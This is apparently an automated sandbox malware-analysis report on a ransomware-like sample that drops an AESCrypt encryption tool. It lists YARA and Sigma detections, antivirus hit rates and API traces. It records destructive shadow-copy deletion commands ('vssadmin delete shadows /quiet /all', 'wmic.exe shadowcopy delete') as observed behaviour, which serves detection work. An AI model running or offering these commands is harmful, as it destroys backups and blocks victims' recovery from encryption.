0000000C.00000000.218345947.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000025.00000000.247382985.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000016.00000000.234350090.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000013.00000002.231310601.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000D.00000000.221592293.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000015.00000000.233271517.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000025.00000002.247615101.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000018.00000000.236308350.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000019.00000002.237375889.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001F.00000000.242976931.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000026.00000000.248461783.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000021.00000000.244836179.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000F.00000000.223582805.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001A.00000000.238124881.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000011.00000002.225892408.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001F.00000002.243127042.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001E.00000002.242223772.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001C.00000000.240051911.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000020.00000002.244028929.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000B.00000000.216720045.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000E.00000000.222662699.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000A.00000000.215652937.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000023.00000002.246439488.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001B.00000000.239107994.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000027.00000000.249419020.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000000.00000003.195020258.00000000025F6000.00000004.00000001.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000017.00000000.235483544.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000026.00000002.248845203.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000012.00000002.227581808.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000012.00000000.226594833.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000010.00000002.224703856.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000009.00000000.206847503.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000F.00000002.223737653.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001D.00000002.241433503.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001B.00000002.239354308.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001A.00000002.238459368.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000016.00000002.234611490.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001C.00000002.240215035.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000014.00000000.232368686.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000019.00000000.237195761.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000017.00000002.235622294.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 6524	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 5516	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 6220	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 6604	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 4664	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 4696	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 7116	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 3948	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 5432	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 4648	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 2796	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 4792	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 6336	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 6504	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 5656	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 4556	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Process Memory Space: aescrypt.exe PID: 7004	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Click to see the 71 entries

Unpacked PEs

Source	Rule	Description	Author
27.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
21.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
26.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
37.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
25.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
23.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
21.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
28.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
15.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
39.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
32.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
14.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
9.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
18.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
39.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
16.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
25.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
12.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
17.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
23.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
30.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
28.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
19.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
18.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
16.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
11.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
17.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
31.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
22.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
37.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
29.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
31.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
13.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
27.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
20.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
33.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
24.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
22.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
9.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
12.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
38.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
14.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
24.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
33.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
15.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
13.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
11.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
10.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
10.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
30.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
32.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
20.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
29.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
26.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
38.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
35.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
35.2.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
19.0.aescrypt.exe.870000.0.unpack	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
Click to see the 53 entries

Sigma Overview

System Summary:

Sigma detected: Delete shadow copy via WMIC

Show sources

Source: Process started

Author: Joe Security: Data: Command: wmic.exe shadowcopy delete, CommandLine: wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: 'C:\Windows\sysnative\cmd.exe' /c 'C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.bat C:\Users\user\Desktop\hztxqReczN.exe', ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6680, ProcessCommandLine: wmic.exe shadowcopy delete, ProcessId: 6912

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Virustotal: Detection: 31%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Metadefender: Detection: 20%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	ReversingLabs: Detection: 20%

Multi AV Scanner detection for submitted file

Show sources

Source: hztxqReczN.exe	Virustotal: Detection: 72%	Perma Link
Source: hztxqReczN.exe	Metadefender: Detection: 30%	Perma Link
Source: hztxqReczN.exe	ReversingLabs: Detection: 79%

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_0087C6AF CryptAcquireContextW,__malloc_crt,	9_2_0087C6AF
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_0087C4C0 CryptAcquireContextW,	9_2_0087C4C0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_0087F42C CryptAcquireContextW,GetLastError,___set_flsgetvalue,__calloc_crt,DecodePointer,__initptd,GetCurrentThreadId,_free,SetLastError,	9_2_0087F42C
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_00878E7A CryptAcquireContextW,__lock,EnterCriticalSection,	9_2_00878E7A
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_008733E0 CryptAcquireContextW,CryptAcquireContextW,GetLastError,GetLastError,GetLastError,CryptAcquireContextW,GetLastError,_fprintf,_memset,CryptGenRandom,_memmove,_memmove,_fprintf,CryptReleaseContext,_fprintf,_fprintf,CryptReleaseContext,_strncpy,_sprintf,_fprintf,_memset,CryptGenRandom,_memmove,_memmove,CryptReleaseContext,_fprintf,_fprintf,_memmove,_memset,_memset,_memmove,_memmove,_memmove,_memmove,_memset,_memset,__fread_nolock,_memmove,_memmove,__fread_nolock,_memmove,_memmove,	9_2_008733E0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_0087F307 CryptAcquireContextW,TlsGetValue,DecodePointer,TlsSetValue,	9_2_0087F307
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_008733E0 CryptAcquireContextW,CryptAcquireContextW,GetLastError,GetLastError,GetLastError,CryptAcquireContextW,GetLastError,_fprintf,_memset,CryptGenRandom,_memmove,_memmove,_fprintf,CryptReleaseContext,_fprintf,_fprintf,CryptReleaseContext,_strncpy,_sprintf,_fprintf,_memset,CryptGenRandom,_memmove,_memmove,CryptReleaseContext,_fprintf,_fprintf,_memmove,_memset,_memset,_memmove,_memmove,_memmove,_memmove,_memset,_memset,__fread_nolock,_memmove,_memmove,__fread_nolock,_memmove,_memmove,	11_2_008733E0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_0087C6AF CryptAcquireContextW,__malloc_crt,	11_2_0087C6AF
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_0087C4C0 CryptAcquireContextW,	11_2_0087C4C0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_0087F42C CryptAcquireContextW,GetLastError,___set_flsgetvalue,__calloc_crt,DecodePointer,__initptd,GetCurrentThreadId,_free,SetLastError,	11_2_0087F42C
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_00878E7A CryptAcquireContextW,__lock,EnterCriticalSection,	11_2_00878E7A
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_0087F307 CryptAcquireContextW,TlsGetValue,DecodePointer,TlsSetValue,	11_2_0087F307

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\hztxqReczN.exe

Unpacked PE file: 0.2.hztxqReczN.exe.400000.0.unpack

Source: hztxqReczN.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source:	Binary string: C:\Users\paulej\Documents\Source\AESCrypt\Windows\Console\Win32\Release\aescrypt.pdb source: hztxqReczN.exe, 00000000.00000003.195020258.00000000025F6000.00000004.00000001.sdmp, aescrypt.exe, 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000A.00000002.215803695.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000C.00000002.218586625.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000D.00000002.221794494.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000E.00000002.222832478.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000F.00000000.223582805.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000010.00000000.224552523.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000011.00000000.225765503.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000012.00000002.227581808.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000013.00000000.229538057.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000014.00000002.232501529.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000015.00000002.233440103.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000016.00000000.234350090.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000017.00000000.235483544.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000018.00000002.236449875.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000019.00000002.237375889.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001A.00000000.238124881.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001B.00000000.239107994.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001C.00000000.240051911.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001D.00000000.241090361.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001E.00000000.242057128.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001F.00000000.242976931.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000020.00000000.243882157.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000021.00000002.245059408.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000023.00000000.246267140.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000025.00000000.247382985.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000026.00000000.248461783.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000027.00000002.249550361.0000000000884000.00000002.00020000.sdmp, aescrypt.exe.0.dr
Source:	Binary string: C:\Users\paulej\Documents\Source\AESCrypt\Windows\Console\Win32\Release\aescrypt.pdb source: hztxqReczN.exe, 00000000.00000003.195020258.00000000025F6000.00000004.00000001.sdmp, aescrypt.exe, 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000A.00000002.215803695.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000C.00000002.218586625.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000D.00000002.221794494.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000E.00000002.222832478.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000F.00000000.223582805.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000010.00000000.224552523.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000011.00000000.225765503.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000012.00000002.227581808.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000013.00000000.229538057.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000014.00000002.232501529.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000015.00000002.233440103.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000016.00000000.234350090.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000017.00000000.235483544.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000018.00000002.236449875.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000019.00000002.237375889.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001A.00000000.238124881.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001B.00000000.239107994.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001C.00000000.240051911.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001D.00000000.241090361.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001E.00000000.242057128.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001F.00000000.242976931.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000020.00000000.243882157.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000021.00000002.245059408.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000023.00000000.246267140.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000025.00000000.247382985.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000026.00000000.248461783.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000027.00000002.249550361.0000000000884000.00000002.00020000.sdmp, aescrypt.exe.0.dr

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_0087A2D1 __malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,		9_2_0087A2D1
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_0087A2D1 __malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,		11_2_0087A2D1

Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\Local\Temp\ADC0.tmp	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.tmp	Jump to behavior

Spam, unwanted Advertisements and Ransom Demands:

Deletes shadow drive data (may be related to ransomware)

Show sources

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic.exe shadowcopy delete
Source: hztxqReczN.exe, 00000000.00000002.460830203.0000000002375000.00000004.00000001.sdmp	Binary or memory string: vssadmin delete shadows /quiet /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic.exe shadowcopy delete	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: vssadmin.exe, 00000004.00000002.200440088.0000025B2B6D4000.00000004.00000040.sdmp	Binary or memory string: vssadmindeleteshadows/quiet/all
Source: vssadmin.exe, 00000004.00000002.200454288.0000025B2CCF0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage
Source: vssadmin.exe, 00000004.00000002.200454288.0000025B2CCF0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete Shadows /Type=ClientAccessible /For=C:
Source: vssadmin.exe, 00000004.00000002.200454288.0000025B2CCF0000.00000002.00000001.sdmp	Binary or memory string: vssadmin Delete Shadows
Source: vssadmin.exe, 00000004.00000002.200454288.0000025B2CCF0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete Shadows /For=C: /Oldest
Source: vssadmin.exe, 00000004.00000002.200454288.0000025B2CCF0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage /For=C: /On=D:
Source: vssadmin.exe, 00000004.00000002.200279528.0000025B2B350000.00000004.00000020.sdmp	Binary or memory string: C:\Users\user\AppData\Local\Temp\ADC0.tmp\C:\Windows\system32\vssadmin.exevssadmin delete shadows /quiet /allvssadmin delete shadows /quiet /allWinsta0\Default
Source: vssadmin.exe, 00000004.00000002.200279528.0000025B2B350000.00000004.00000020.sdmp	Binary or memory string: vssadmin delete shadows /quiet /all
Source: ADC2.bat.0.dr	Binary or memory string: vssadmin delete shadows /quiet /all

May disable shadow drive data (uses vssadmin)

Show sources

